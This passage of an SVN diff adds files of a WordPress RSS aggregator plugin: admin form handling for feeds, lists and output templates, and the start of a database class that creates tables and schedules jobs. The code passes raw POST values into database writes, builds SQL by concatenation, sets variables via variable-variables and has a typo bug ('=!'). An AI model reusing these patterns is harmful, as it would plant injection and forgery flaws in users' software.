+			$optionsarray['feedlistquery_cache_time']=array('type' => 'int', 'value' => abs(intval($_POST['pba_feedlistquery_cache_time'])), 'notice' => 'user request');
+		}
+
+		if(isset($_POST['pba_options_enable_memtables']) && isset($_POST['old_pba_options_enable_memtables'])) {
+		
+			if($_POST['pba_options_enable_memtables'] != $_POST['old_pba_options_enable_memtables']
+			&& $_POST['pba_options_enable_memtables'] != 'auto'){
+
+				$memtables=array(
+					$bdprss_db->mtablestatus => $bdprss_db->detect_memtable($bdprss_db->mtablestatus),
+					$bdprss_db->mitemtable => $bdprss_db->detect_memtable($bdprss_db->mitemtable),
+					$bdprss_db->msitetable => $bdprss_db->detect_memtable($bdprss_db->msitetable)
+				);
+				$tables_need_recreation = false;
+				foreach($memtables as $memtablename => $isreallymemtable){
+					if($_POST['pba_options_enable_memtables'] == 'Y' && !$isreallymemtable){
+						$bdprss_db->droptable($memtablename);
+						$try_memtable_creation=true; //try recreate as memtable, 
+						$tables_need_recreation = true;
+					}elseif($_POST['pba_options_enable_memtables'] == 'N' && $isreallymemtable){
+						$bdprss_db->droptable($memtablename);
+						$try_memtable_creation=false; //recreate as plaintable, 
+						$tables_need_recreation = true;
+					}
+				}
+				if($tables_need_recreation){
+					$bdprss_db->create($try_memtable_creation);
+					$bdprss_db->prefill_memtables();
+				}
+			}
+			if($_POST['pba_options_enable_memtables'] == 'Y' ) {
+				$optionsarray['enable_memtables']=array('type' => 'string', 'value' => 'Y', 'notice' => 'user request');
+			}elseif($_POST['pba_options_enable_memtables'] == 'N' ){
+				$optionsarray['enable_memtables']=array('type' => 'string', 'value' => 'N', 'notice' => 'user request');
+			}elseif($_POST['pba_options_enable_memtables'] == 'auto' ){
+				$optionsarray['enable_memtables']=array('type' => 'string', 'value' => 'auto', 'notice' => 'user request');
+			}
+		}
+
+		if(isset($_POST['pba_options_enable_loaddetection'])) {
+			if($_POST['pba_options_enable_loaddetection'] == 'Y' ) {
+				$optionsarray['enable_loaddetection']=array('type' => 'string', 'value' => 'Y', 'notice' => 'user request');
+			}elseif($_POST['pba_options_enable_loaddetection'] == 'N' ){
+				$optionsarray['enable_loaddetection']=array('type' => 'string', 'value' => 'N', 'notice' => 'user request');
+			}elseif($_POST['pba_options_enable_loaddetection'] == 'auto' ){
+				$optionsarray['enable_loaddetection']=array('type' => 'string', 'value' => 'auto', 'notice' => 'user request');
+			}
+		}
+
+		if(isset($_POST['pba_highloadthreshold'])) {
+			$pba_checkedhighloadthreshold=abs(intval($_POST['pba_highloadthreshold']));
+			if($pba_checkedhighloadthreshold > 0) $optionsarray['highloadthreshold']=array('type' => 'int', 'value' => $pba_checkedhighloadthreshold, 'notice' => 'user request');
+		}
+
+		if(isset($_POST['pba_clear_cache_now'])) {
+			$dummy1="";
+			$dummy2="";
+			$cachedeletecounter=PBALIB::pba_cache($dummy1, $dummy2, 'clear', '', 'mixed', 180, 'OK');
+		}
+
+		$optionsarray['delete_alldata']=array('type' => 'string', 'value' => 'N', 'notice' => 'user request');
+		if(isset($_POST['pba_delete_alldata'])) {
+			if($_POST['pba_delete_alldata'] == 'Y' ) {
+				$optionsarray['delete_alldata']=array('type' => 'string', 'value' => 'Y', 'notice' => 'user request');
+			}
+		}
+
+	}
+	$success=$bdprss_db->setoptions($optionsarray);
+	$bdprss_db->check_options($bdprss_db->serverstatus);
+	$bdprss_db->check_cache($bdprss_db->serverstatus);
+}
+
+
+if( isset($_POST['bdprss_poll_all_button']) )
+{
+	$bdprss_db->updateAll();
+}
+
+if( isset($_POST['bdprss_edit_site_button']) )
+{
+	$siteArray = array();
+
+	$siteArray['csitenameoverride'] = 'N';
+	if(isset($_POST['bdprss_csitenameoverride']) 
+		&& $_POST['bdprss_csitenameoverride'] == 'Y'
+		) $siteArray['csitenameoverride'] = 'Y';
+
+	$siteArray['cidentifier'] = $_POST['bdprss_cidentifier'];
+	$siteArray['csitename'] = BDPFeed::title_recode($_POST['bdprss_csitename']);
+	$siteArray['csiteurl'] = BDPFeed::title_recode($_POST['bdprss_csiteurl']);
+	$siteArray['cdescription'] = mb_substr(BDPFeed::title_recode($_POST['bdprss_cdescription']), 0, 250);
+	$siteArray['csitelicense'] = mb_substr(BDPFeed::title_recode($_POST['bdprss_csitelicense']), 0, 250);
+	$siteArray['cgmtadjust'] = floatval($_POST['bdprss_cgmtadjust']);
+
+	$cpollingfreqmins = intval($_POST['bdprss_cpollingfreqmins']);
+	if($cpollingfreqmins < 0 || $cpollingfreqmins > 1000000) $cpollingfreqmins = 0;
+	$siteArray['cpollingfreqmins'] =  $cpollingfreqmins ;
+
+	if(isset($_POST['pba_cnewnextpolltime']) 
+		&& $_POST['pba_cnewnextpolltime'] =! "") {
+		$siteArray['cnextpolltime'] =  abs(intval($_POST['pba_cnewnextpolltime']));
+		if( $siteArray['cnextpolltime'] > 2147483647 ) unset($siteArray['cnextpolltime']);
+	}
+
+	//do we want to change he feed url?
+	if(isset($_POST['bdprss_cnewfeedurl']) 
+		&& isset($_POST['bdprss_coldfeedurl'])
+		&& $_POST['bdprss_cnewfeedurl'] != ""
+		&& $_POST['bdprss_cnewfeedurl'] != $_POST['bdprss_coldfeedurl']
+	) {
+		$pba_change_feed_to=$_POST['bdprss_cnewfeedurl'];
+		$pba_do_feedurlupdate=$bdprss_db->update_feedurl($siteArray['cidentifier'], $pba_change_feed_to);
+		if($pba_do_feedurlupdate) $siteArray['cfeedurl'] = $pba_change_feed_to;
+	}
+
+	$bdprss_db->updateTable($bdprss_db->sitetable, $siteArray, 'cidentifier');
+	//mem table
+	$bdprss_db->updateTable($bdprss_db->msitetable, $siteArray, 'cidentifier');
+	
+	
+	//add or remove this site to or from lists
+	$listresult = $bdprss_db->get_all_lists();
+	if($listresult) {
+		foreach($listresult as $list) {
+			$listArray = array();
+			$listid = $list->{$bdprss_db->lidentifier};
+			$lurllist= ',' . $list->{$bdprss_db->lurls} . ',';
+			if(isset($_POST['pba_site_included_in_list_'.$listid])
+				&& $_POST['pba_site_included_in_list_'.$listid] == 'Y'
+			){
+				//make sure this site is included in the list
+				if(!strstr($lurllist, ','.$siteArray['cidentifier'].',')){
+					//adding this site to this list needed
+					$listArray['lidentifier'] = $listid;
+					$listArray['lurls'] = trim($list->{$bdprss_db->lurls} . ',' . $siteArray['cidentifier'],',');
+				}
+			}else{
+				//make sure this site is not included in the list
+				if(strstr($lurllist, ','.$siteArray['cidentifier'].',')){
+					//removing this site from this list needed
+					$listArray['lidentifier'] = $listid;
+					$listArray['lurls'] = trim(str_replace(','.$siteArray['cidentifier'].',',',',$lurllist),',');
+				}
+			} // end if(isset($_POST['pba_site_included
+			if(isset($listArray['lidentifier'])) $bdprss_db->updateTable($bdprss_db->listtable, $listArray, 'lidentifier');
+
+		} //  end foreach($listresult as $list)
+	} // end if($listresult) 
+} // end if( isset($_POST['bdprss_edit_site_button']) )
+
+if( isset($_POST['bdprss_edit_list_button']) )
+{
+	$listArray = array();
+	
+	$listArray['lidentifier'] = $_POST['bdprss_lidentifier'];
+	$listArray['lname'] = htmlspecialchars($_POST['bdprss_lname']);
+
+	// booleans
+	$llistall = 'N';
+	if(isset($_POST['bdprss_llistall'])) $llistall = $_POST['bdprss_llistall'];
+	if($llistall != 'Y') $llistall = 'N';
+	$listArray['llistall'] = $llistall;
+
+	$lurls = '';
+	$result = $bdprss_db->get_all_sites();
+	if($result) 
+	{
+		$subsequent = false;
+		foreach($result as $r) 
+		{
+			$id = $r->{$bdprss_db->cidentifier};
+			$url = $r->{$bdprss_db->cfeedurl};
+			
+			$feed = 'bdprss_feed_' . $id;
+			if( isset($_POST[$feed]) ) 
+			{
+				if($subsequent) $lurls .= ',';
+				$subsequent = true;
+				$lurls .= $id;
+			}
+		}
+	}
+	$listArray['lurls'] = $lurls;
+
+	$bdprss_db->updateTable($bdprss_db->listtable, $listArray, 'lidentifier');
+}
+
+if( isset($_POST['pba_edit_output_button']) )
+{
+	//Format: $pbaoutputArray['bdprssdb: this->table_column_namedefinition']= $_POST['name of field in form'];
+	
+	$pbaoutputArray = array();
+	$pbaoutputArray['pbaoidentifier'] = $_POST['pbaoidentifier'];
+	$pbaoutputArray['pbaoname'] = htmlspecialchars($_POST['pbaoname']);
+	$pbaoutputArray['pbaopage2hookin'] = abs(intval($_POST['pbaopage2hookin']));
+
+//item formatting
+	$pbaoutputArray['pbaodefaultlist'] = $_POST['pbaodefaultlist'];
+	$pbaoutputArray['pbaomaxitems'] = $_POST['pbaomaxitems'];
+	$pbaoutputArray['pbaoformattype'] = $_POST['pbaoformattype'];
+
+	$pbaoutputArray['pbaotemplate_ticker'] = $_POST['pbaotemplate_ticker'];
+	
+	//if set to N, php will throw out a notice, because $_POST['pbaoappend_extra_link'] does not exist
+	$pbaoutputArray['pbaoappend_extra_link'] = $_POST['pbaoappend_extra_link'];
+	if($pbaoutputArray['pbaoappend_extra_link'] != 'Y') $pbaoutputArray['pbaoappend_extra_link'] = 'N';
+	
+	$pbaoutputArray['pbaoappend_cache_link'] = 'Y';
+	if(!isset($_POST['pbaoappend_cache_link']) || $pbaoutputArray['pbaoappend_cache_link'] != 'Y') $pbaoutputArray['pbaoappend_cache_link'] = 'N';
+
+	$pbaoutputArray['pbaoadd_social_bookmarks'] = 'Y';
+	if(!isset($_POST['pbaoadd_social_bookmarks']) || $pbaoutputArray['pbaoadd_social_bookmarks'] != 'Y') $pbaoutputArray['pbaoadd_social_bookmarks'] = 'N';
+
+	$pbaoutputArray['pbaosidebarwidget'] = $_POST['pbaosidebarwidget'];
+
+	$pbaoutputArray['pbaomaxlength'] = abs(intval($_POST['pbaomaxlength']));
+	$pbaoutputArray['pbaomaxwordlength'] = abs(intval($_POST['pbaomaxwordlength']));
+	$pbaoutputArray['pbaoitem_date_format'] = $_POST['pbaoitem_date_format'];
+
+	// $bdprssTagSet is declared in bdp-rss-aggregator before including this file
+	$pbaoallowablexhtmltags = '';
+	$first = TRUE;
+	foreach($bdprssTagSet as $key => $value)
+	{
+		$tag = BDPRSS2::tagalise($key);
+		if(isset($_POST[$tag]))
+		{
+			if(!$first) $pbaoallowablexhtmltags .= ',';
+			$pbaoallowablexhtmltags .= $key;
+			$first = FALSE;
+		}
+	}
+	$pbaoutputArray['pbaoallowablexhtmltags'] = $pbaoallowablexhtmltags;
+
+//cache
+	$pbaoutputArray['pbaoiscachable'] = $_POST['pbaoiscachable'];
+	$pbaoutputArray['otemplate_cache'] = $_POST['pba_otemplate_cache'];
+	$pbaoutputArray['pbaocacheviewpage'] = $_POST['pbaocacheviewpage'];
+
+//feed
+	$pbaoutputArray['pba_channel_title'] = $_POST['pba_channel_title'];
+	$pbaoutputArray['pba_channel_link'] = $_POST['pba_channel_link'];
+	$pbaoutputArray['pba_channel_description'] = $_POST['pba_channel_description'];
+	$pbaoutputArray['pba_channel_language'] = $_POST['pba_channel_language'];
+	$pbaoutputArray['pba_channel_copyright'] = $_POST['pba_channel_copyright'];
+
+//kalender
+	$pbaoutputArray['otemplate_kalender'] = $_POST['pba_otemplate_kalender'];
+	$pbaoutputArray['oarchive_date_format'] = $_POST['pba_oarchive_date_format'];
+	$pbaoutputArray['okalendermonthslist'] = $_POST['pba_okalendermonthslist'];
+	$pbaoutputArray['okalenderboxtablecaption'] = $_POST['pba_okalenderboxtablecaption'];
+	$pbaoutputArray['okalender_last'] = $_POST['pba_okalender_last'];
+	$pbaoutputArray['okalender_next'] = $_POST['pba_okalender_next'];
+	$pbaoutputArray['okalenderboxdaysofweeklist'] = $_POST['pba_okalenderboxdaysofweeklist'];
+
+	$pbaoutputArray['pbao_superparameter'] = $_POST['pbao_superparameter'];
+
+	$bdprss_db->updateTable($bdprss_db->pbaoutputtable, $pbaoutputArray, 'pbaoidentifier');
+}
+
+/* ----- Capture and process calling arguments ----- */
+
+$argumentSet = array('action', 'rss', 'list', 'pboutput');
+for ($i = 0;  $i < count($argumentSet);  $i++) 
+{
+	$variable = $argumentSet[$i];
+	if (!isset($$variable)) // don't override if already set
+	{
+		if (!empty($_POST[$variable]))
+			$$variable = $_POST[$variable];
+		elseif (!empty($_GET[$variable]))
+			$$variable = $_GET[$variable];
+		else
+			$$variable = '';
+	}
+}
+
+$editpbaoutput=false;
+$editlist = false;
+$editfeed = false;
+$errorlist = false;
+$options = false;
+$status = false;
+
+switch($action) 
+{
+	case 'update':
+		$r = $bdprss_db->get_site_by_id($rss);
+		if($r) BDPRSS2::update($r);
+	break;
+
+	case 'delete':
+		$bdprss_db->deleteFeed($rss);
+	break;
+
+	case 'createlist':
+		if($list){
+			$list = abs(intval($list));
+			$list = $bdprss_db->createlist($list);
+		}else{
+			$list = $bdprss_db->createlist();
+		}
+		$editlist = true;
+		// no break - flows into editlist
+
+	case 'editlist':
+		$editlist = true;
+	break;
+
+	case 'createpbaoutput':
+		if($pboutput){
+			$pboutput = abs(intval($pboutput));
+			$pboutput = $bdprss_db->createpbaoutput($pboutput);
+		}else{
+			$pboutput = $bdprss_db->createpbaoutput();
+		}
+		$editpbaoutput = true;
+		// no break - flows into editpbaoutput
+
+	case 'editpbaoutput':
+		$editpbaoutput = true;
+	break;
+
+	case 'errorlist':
+		$errorlist = true;
+	break;
+
+	case 'errordelete':
+		$bdprss_db->deleteErrorTable($rss);
+	break;
+
+	case 'editfeed':
+		$editfeed = true;
+	break;
+
+	case 'dellist':
+		if($list) $bdprss_db->deletelist($list);
+	break;
+
+	case 'delpbaoutput':
+		if($pboutput) $bdprss_db->deletepbaoutput($pboutput);
+	break;
+
+	case 'options':
+		$options = true;
+	break;
+
+	case 'status':
+		$status = true;
+	break;
+}
+
+$selfreference = get_option('siteurl') . '/wp-admin/edit.php?page=' .PBA_DIRECTORY. '/bdp-rssadmin.php';
+
+/* ----- Drop in the appropriate administration page ----- */
+
+echo "<div class='wrap'>\n";
+
+if ($editpbaoutput && $pboutput) 
+{
+	include (dirname(__FILE__)."/pba-admin-output.php");
+} 
+elseif ($editlist && $list) 
+{
+	include (dirname(__FILE__)."/bdp-rssadmin-edit.php");
+} 
+elseif ($editfeed && $rss) 
+{
+	include (dirname(__FILE__)."/bdp-rssadmin-sno.php");
+} 
+elseif ($errorlist) 
+{
+	include (dirname(__FILE__)."/bdp-rssadmin-error.php");
+}
+elseif ($options) 
+{
+	include (dirname(__FILE__)."/pba-admin-options.php");
+}
+elseif ($status) 
+{
+	include (dirname(__FILE__)."/pba-admin-status.php");
+}
+else
+	include (dirname(__FILE__)."/bdp-rssadmin-general.php");
+
+echo '<p align="center">&nbsp;<br />This page was brought to you by the<br />'.
+	'<a href="http://www.mein-parteibuch.com/blog/parteibuch-aggregator/">'.
+	'<strong>' .PBA_PRODUCT. ' version ' .PBA_VERSION. "</strong></a></p>\n";
+
+echo "</div>\n";
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssaggregator-db.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssaggregator-db.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/bdp-rssaggregator-db.php	(revision 44)
@@ -0,0 +1,1871 @@
+<?php 
+
+if( !class_exists('BDPRSS_DB') ) {
+
+	class BDPRSS_DB 
+	{	
+		var $sitetable;
+		var $cfeedurl, $csitename, $cdescription, $csiteurl, $clastpolltime, $curlindex, 
+			$cnextpolltime, $cgmtadjust, $cupdatetime, /*$ctimeindex,*/ $cidentifier,
+			$csitenameoverride, $cpollingfreqmins;
+
+		var $itemtable;
+		var $iidentifier, $ifeedurl, $iitemname, $iitemtext, /*$iitemnum,*/ $iitemurl, $iitemtime, 
+			/*$ifeedindex,*/ /*$itimeindex,*/ /*$updateindex*/ $iitemdate;
+
+		var $pbaoutputtable;
+		var $pbaoidentifier, $pbaoname, $pbaopage2hookin,
+			$pbaodefaultlist, $pbaomaxitems, $pbaoformattype,
+			$pbaotemplate_ticker, $pbaoappend_extra_link, $pbaoappend_cache_link, $pbaoadd_social_bookmarks, 
+			$pbaosidebarwidget, 
+			$pbaomaxlength, $pbaomaxwordlength, $pbaoitem_date_format, $pbaoallowablexhtmltags, 
+			$pbaoiscachable, $otemplate_cache, $pbaocacheviewpage, 
+			$pba_channel_rssgenerationallowed, 
+			$pba_channel_title, $pba_channel_link, 
+			$pba_channel_description, $pba_channel_language, $pba_channel_copyright, 
+			$otemplate_kalender, $oarchive_date_format, 
+			$okalendermonthslist, $okalenderboxtablecaption, $okalender_last, $okalender_next, 
+			$okalenderboxdaysofweeklist, $pbao_superparameter;
+
+		var $listtable;
+		var $lidentifier, $lname, $lurls, $llistall;
+		
+		var $errortable;
+		var $eidentifier, $efeedurl, $etime, $etext /* , $efeedindex */;
+		
+		var $mtablestatus;
+		var  $memtable, $mdatetime, $mstatus, $mnotice;
+
+		var $now;
+		var $bdprss_prevent_dupe_updates;
+		
+		var $memtablesok, $memtables_were_ok, $serverstatus;
+
+		function BDPRSS_DB() 
+		{
+			/* BDPRSS_DB() - initialisition function that sets constant names for later use */
+
+			global $wpdb,  $table_prefix;
+			
+			$this->now = time();
+			$this->bdprss_prevent_dupe_updates=array();
+			
+			// --- site-table
+			$this->sitetable =			$table_prefix.'pba_sites';
+			$this->cidentifier = 		'identifier';			// primary key
+			$this->cfeedurl = 			'feed_url';				// indexed
+			$this->csitename =			'site_name';
+			$this->csitenameoverride =	'site_name_overriden';	// manual override for site feed names
+			$this->cdescription = 		'description';
+			$this->csitelicense =			'site_license';
+			$this->csiteurl =			'site_url';
+			$this->clastpolltime = 		'last_poll_time';		// time last polled
+			$this->cnextpolltime = 		'next_poll_time';		// next scheduked poll
+			$this->cpollingfreqmins =	'polling_freq_in_mins';	// adjustable polling frequency
+			$this->cupdatetime = 		'site_update_time';		// time last updated
+			$this->cgmtadjust = 		'gmt_adjustment';		// GMT adjustment to pubDate
+			
+			// --- item-table
+			$this->itemtable = 			$table_prefix."pba_items";
+			$this->iidentifier = 		"identifier";			// primary key
+			$this->ifeedurl =			"item_feed_url";		// ( combined unique key
+			$this->iitemurl = 			"item_url";				// ( combined unique key
+			$this->iitemname =			"item_name";
+			$this->iitemsitename =			"item_site_name";
+			$this->iitemsiteurl =			"item_site_url";
+			$this->iitemlicense =			"item_license";
+			$this->iitemtext =			"text_body";
+			$this->iitemtime = 			"item_time";			// item pubDate time
+			$this->iitemdate = 			"item_date";			// item date
+			$this->iitemupdate = 		"item_update_time";		// item last updated time -- for debugging
+
+			//pba options table
+			$this->optionstable = $table_prefix."pba_options";
+
+			// --- pbaoutputtable
+			$this->pbaoutputtable = $table_prefix."pba_outputs";
+
+//management
+			$this->pbaoidentifier = "identifier";										// primary key
+			$this->pbaoname = "name";																// a useful handle
+			$this->pbaopage2hookin = "page2hookin";									//wp page to hook output in
+
+//item selection
+			$this->pbaodefaultlist = "default_list";								// default list filter
+			$this->pbaomaxitems =		"items_per_site";								//
+			$this->pbaoformattype = 				"type";									// type of list: 
+
+//ticker page formatting
+			$this->pbaotemplate_ticker = "template_ticker";
+			
+			$this->pbaoappend_extra_link = "append_extra_link";
+			$this->pbaoappend_cache_link = "append_cache_link";
+			$this->pbaoadd_social_bookmarks = "add_social_bookmarks";
+			
+			$this->pbaosidebarwidget = "template_sidebarwidget";
+
+//item formatting
+
+			$this->pbaomaxlength = 		"max_words_in_synposis";// 0 = no limit
+			$this->pbaomaxwordlength = "max_word_length";						//
+			$this->pbaoitem_date_format = "item_date_format";				//
+			$this->pbaoallowablexhtmltags= "allowable_xhtml_tags";	//
+
+//cache
+			$this->pbaoiscachable =			"enable_caching";
+			$this->otemplate_cache = "template_cache";
+			$this->pbaocacheviewpage =			"cache_view_page";
+
+//feed
+			$this->pba_channel_rssgenerationallowed =	"channel_rssgenerationallowed";
+			$this->pba_channel_title =	"channel_title";
+			$this->pba_channel_link =	"channel_link";
+			$this->pba_channel_description =	"channel_description";
+			$this->pba_channel_language =	"channel_language";
+			$this->pba_channel_copyright =	"channel_copyright";
+
+//kalender
+			$this->otemplate_kalender = "template_kalender";
+			$this->oarchive_date_format = "archive_date_format";
+			$this->okalendermonthslist = "kalendermonthslist";
+			$this->okalenderboxtablecaption = "kalenderboxtablecaption";
+			$this->okalender_last = "kalender_last";
+			$this->okalender_next = "kalender_next";
+			$this->okalenderboxdaysofweeklist = "kalenderboxdaysofweeklist";
+			$this->pbao_superparameter = "superparameter";
+
+			// --- list-table
+			$this->listtable = 			$table_prefix."pba_lists";
+
+			$this->lidentifier = 		"identifier";			// primary key
+			$this->lname = 				"name";					// a useful handle
+			$this->lurls =				"url_list";				// comma separate list
+			$this->llistall =			"list_all";				// list all url ids
+
+			// --- error-table
+			$this->errortable =			$table_prefix.'pba_errors';
+
+			$this->eidentifier =		'identifier';
+			$this->efeedurl =			'feed_url';
+			$this->etime =				'when_it_happened';
+			$this->etext = 				'error_text';
+
+			// --- memory status table
+			$this->mtablestatus =			$table_prefix.'pba_m_tablestatus';
+			$this->memtable =			'memtable';
+			$this->mdatetime =			'datetime';
+			$this->mstatus =			'status';
+			$this->mnotice = 'notice';
+
+			// --- site table in memory - probably obsolete - it is a small table and has to be a copy of sitetable on disk
+			$this->msitetable =			$table_prefix.'pba_m_sites';
+			$this->midentifier = 		'identifier';			// primary key
+			$this->mfeedurl = 			'feed_url';				// indexed
+			$this->msitename =			'site_name';
+			$this->msitenameoverride =	'site_name_overriden';	// manual override for site feed names
+			$this->mdescription = 		'description';
+			$this->msitelicense =			'site_license';
+			$this->msiteurl =			'site_url';
+			$this->mlastpolltime = 		'last_poll_time';		// time last polled
+			$this->mnextpolltime = 		'next_poll_time';		// next scheduked poll
+			$this->mpollingfreqmins =	'polling_freq_in_mins';	// adjustable polling frequency
+			$this->mupdatetime = 		'site_update_time';		// time last updated
+			$this->mgmtadjust = 		'gmt_adjustment';		// GMT adjustment to pubDate
+
+			// --- index item table in memory
+			$this->mitemtable =			$table_prefix.'pba_m_items';
+			$this->miid = 		'identifier';			// primary key
+			$this->misiteid = 			'site_id';				//      / index
+			$this->miitemtime =			'item_time';				//    | index
+			$this->miitemdate =			'item_date';				//    \ index
+
+//initialize values to check serverstatus at class construction
+			$this->serverstatus=array();
+			$this->memtables_were_ok = 1;
+//debug begin
+//$this->create();
+//$this->prefill_table($this->pbaoutputtable);
+//debug end
+			$this->memtablesok=$this->get_memtable_status($this->serverstatus);
+			if($this->memtablesok == 0){
+				$this->memtables_were_ok = 0;
+				$this->create();
+				$this->prefill_memtables();
+				$this->memtablesok=$this->get_memtable_status($this->serverstatus);
+			}
+			$this->highserverload=false;
+			if(isset($this->serverstatus['highloadthreshold']['notice']) && isset($this->serverstatus['pbaload']['notice'])){
+				if($this->serverstatus['highloadthreshold']['notice'] < $this->serverstatus['pbaload']['notice']) $this->highserverload=true;
+			}
+		} // function BDPRSS_DB
+		
+		/* --- create --- */
+		function jobaction($injobname="", $action="insert"){
+				//what parameter to take here?
+				//1. if injobname!="" we limit the processed jobs by parameter injobname
+				
+				//what to do here with the result? 
+				//1. action="insert" - we INSERT IGNORE new waiting jobs without replacing jobs and try to restore backup from optionstable before
+				//2. action="kill" - we REPLACE a job/all jobs to become waiting
+				//3. action="start" - we REPLACE a job to become running
+
+			global $wpdb;
+			
+			$injobname=preg_replace('/[^a-zA_Z0-9_-]/','',$injobname);
+			
+			//uploading jobs from options table to memtable we will just do on startup
+			if($action=="insert"){
+				$sql="INSERT IGNORE into $this->mtablestatus ( memtable , datetime , status , notice )
+					SELECT name as memtable, last_change as datetime, concat(type, value) as status, 
+					notice as notice FROM $this->optionstable WHERE type = 'job'";
+				if($injobname != "") $sql .= " AND name = '".$injobname."'";
+				$result=$wpdb->query($sql);
+			}
+			
+			$sql="SELECT name, value FROM $this->optionstable WHERE type = 'jobdefinition' ";
+			if($injobname != "") $sql .= " AND name = '".$injobname."_jobdefinition'";
+			$raw_job_defintions=$wpdb->get_results($sql);
+
+			if(!$raw_job_defintions) return false;
+
+			//build up an array with jobs
+			foreach($raw_job_defintions as $gotrow => $raw_job_defintion){
+				$jobname=str_replace('_jobdefinition','',$raw_job_defintion->name);
+				$valuepairs=explode(',',$raw_job_defintion->value); //a value of a raw_job_defintion to explode looks like: startpoint=a10,\r\nmaxexecutiontime=1000
+				foreach($valuepairs as $valuenumber => $valuepair){
+					$rawvalues=explode('=',$valuepair); // a valuepair to explode looks like \r\nmaxexecutiontime=1000\r\n
+					$jobrow[$jobname][trim($rawvalues[0])]=trim($rawvalues[1]);
+				}
+				//fine - we have got parsed a jobdefinition - so let us now build the values for the job row to insert into db
+				if(!isset($jobrow[$jobname]['startpoint'])){
+					$jobrow[$jobname]['startpoint']='a10';
+				}else{
+					if(substr($jobrow[$jobname]['startpoint'],0,1)=='a'){
+						$jobrow[$jobname]['nextstarttimestamp']=time() + abs(intval(substr($jobrow[$jobname]['startpoint'],1)));
+					}elseif(substr($jobrow[$jobname]['startpoint'],0,1)=='d'){
+						//we need to find out the timepoint of next start, we have pairs like startpoint=d00-03:00h
+						//how can we specify, that a job shall be run each hour or each minute?
+						//we need in the config a cron like syntax with placeholders?
+						$daytmp=substr($jobrow[$jobname]['startpoint'],1,2);
+						$shour=substr($jobrow[$jobname]['startpoint'],4,2);
+						$sminute=substr($jobrow[$jobname]['startpoint'],7,2);
+						//compare the time
+						$later = 0;
+						if((date("H") . date("i")) >= ($shour . $sminute)) $later = 1;
+						if(intval($daytmp) == 0) {
+							$sday = date("d") + $later;
+							$smonth = date("m");
+						}else{
+							$nextmonth = 0;
+							if((date("d") . date("H") . date("i")) >= ($daytmp . $shour . $sminute)) $nextmonth = 1;
+							$sday = $daytmp;
+							$smonth = date("m") + $nextmonth;
+						}
+						$jobrow[$jobname]['nextstarttimestamp'] = mktime($shour, $sminute, 0, $smonth, $sday, date("Y"));
+					}//end if startpoint 0,1 ==
+					$jobrow[$jobname]['nextstart']=date("Y-m-d H:i:s", $jobrow[$jobname]['nextstarttimestamp']);
+					if(!isset($jobrow[$jobname]['maxexecutiontime']))$jobrow[$jobname]['maxexecutiontime'] = 10;
+					$jobrow[$jobname]['killtimestamp']= time() + $jobrow[$jobname]['maxexecutiontime'];
+					$jobrow[$jobname]['killtime']=date("Y-m-d H:i:s", $jobrow[$jobname]['killtimestamp']);
+				}//end if isset startpoint
+				
+				//we have now the values for this jobdefinition
+				$insert="REPLACE";
+				if($action=="insert"){
+					$insert="INSERT IGNORE";
+				}
+				$sqlbase=$insert . " INTO $this->mtablestatus ( memtable , datetime , status , notice ) VALUES ";
+				$sqlvalues =" ( '".$jobname."', '".$jobrow[$jobname]['nextstart']."', 'jobwaiting', 'Created at: ".date("Y-m-d H:i:s")."')";
+				if($action=="start") $sqlvalues ="( '".$jobname."', '".$jobrow[$jobname]['killtime']."', 'jobrunning', 'Started at: ".date("Y-m-d H:i:s")."')";
+				$result=$wpdb->query($sqlbase . $sqlvalues);
+				//echo "sql was: " . $sqlbase . $sqlvalues;
+
+				//the optionstable shall be just read when memtables are crashed to reconstruct memtables,anyway we have to write
+				$sqlbase=$insert . " INTO $this->optionstable ( name , last_change , type , value , notice ) VALUES ";
+				$sqlvalues =" ( '".$jobname."', '".$jobrow[$jobname]['nextstart']."', 'job', 'waiting', 'Created at: ".date("Y-m-d H:i:s")."')";
+				if($action=="start") $sqlvalues = " ( '".$jobname."', '".$jobrow[$jobname]['killtime']."', 'job', 'running', 'Started at: ".date("Y-m-d H:i:s")."')";
+				$result=$wpdb->query($sqlbase . $sqlvalues);
+				//echo "Query was: " . $sqlbase . $sqlvalues;
+
+			}// end foreach raw job definitions
+			//print_r($jobrow);
+			return $jobrow;
+		}
+
+		function change_jobstatus($jobname, $newstatus){
+			global $wpdb;
+			
+			$jobname=preg_replace('/[^a-zA_Z0-9_-]/','',$jobname);
+			$killtime=date("Y-m-d H:i:s",time()+10);
+			$sql="REPLACE INTO $this->mtablestatus ( memtable , datetime , status , notice ) VALUES ";
+			$sql .=" ( '".$jobname."', '".$killtime."', 'job".$newstatus."', 'Advertized at: ".date("Y-m-d H:i:s")."')";
+			$result=$wpdb->query($sql);
+			
+			return $result;
+		}
+
+		function table_exists($tablename)
+		{
+			global $wpdb;
+			return ($wpdb->get_var("show tables like '$tablename'") == $tablename);
+		}
+
+		
+		function create($try_memtable_creation=true) 
+		{
+			/* create() - create the database tables if they do not already exist */
+			
+			global $wpdb;
+			
+			$blog_name=get_option('blogname');
+
+			$engine="MYISAM";
+			$btree="";
+			if($try_memtable_creation) $engine="memory";
+			if($try_memtable_creation) $btree =" USING BTREE ";
+
+		if(!$this->table_exists($this->optionstable)){
+			$sql =  "CREATE TABLE IF NOT EXISTS $this->optionstable (
+				id INT( 5 ) NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT 'an autoincrement id',
+				name VARCHAR( 255 ) NOT NULL COMMENT 'a unique name for the option',
+				last_change TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT 'Just automatic timestamp of last update',
+				type VARCHAR( 255 ) NOT NULL COMMENT 'array, string, bool etc',
+				value TEXT NOT NULL COMMENT 'Binary safe value of the pba option',
+				notice TEXT NOT NULL COMMENT 'A notice for the option',
+				UNIQUE ( name )
+				) ENGINE = MYISAM DEFAULT CHARSET=utf8 COLLATE utf8_general_ci COMMENT = 'globals options for pba'";
+			$result = $wpdb->query($sql);
+			$this->prefill_table($this->optionstable);
+		}
+
+		if(!$this->table_exists($this->pbaoutputtable)){
+			$sql =  "CREATE TABLE IF NOT EXISTS $this->pbaoutputtable (
+			  identifier int(10) NOT NULL auto_increment,
+			  name varchar(255) NOT NULL default '-',
+			  page2hookin int(11) NOT NULL default '0' COMMENT 'The wordpress page to hook in this output',
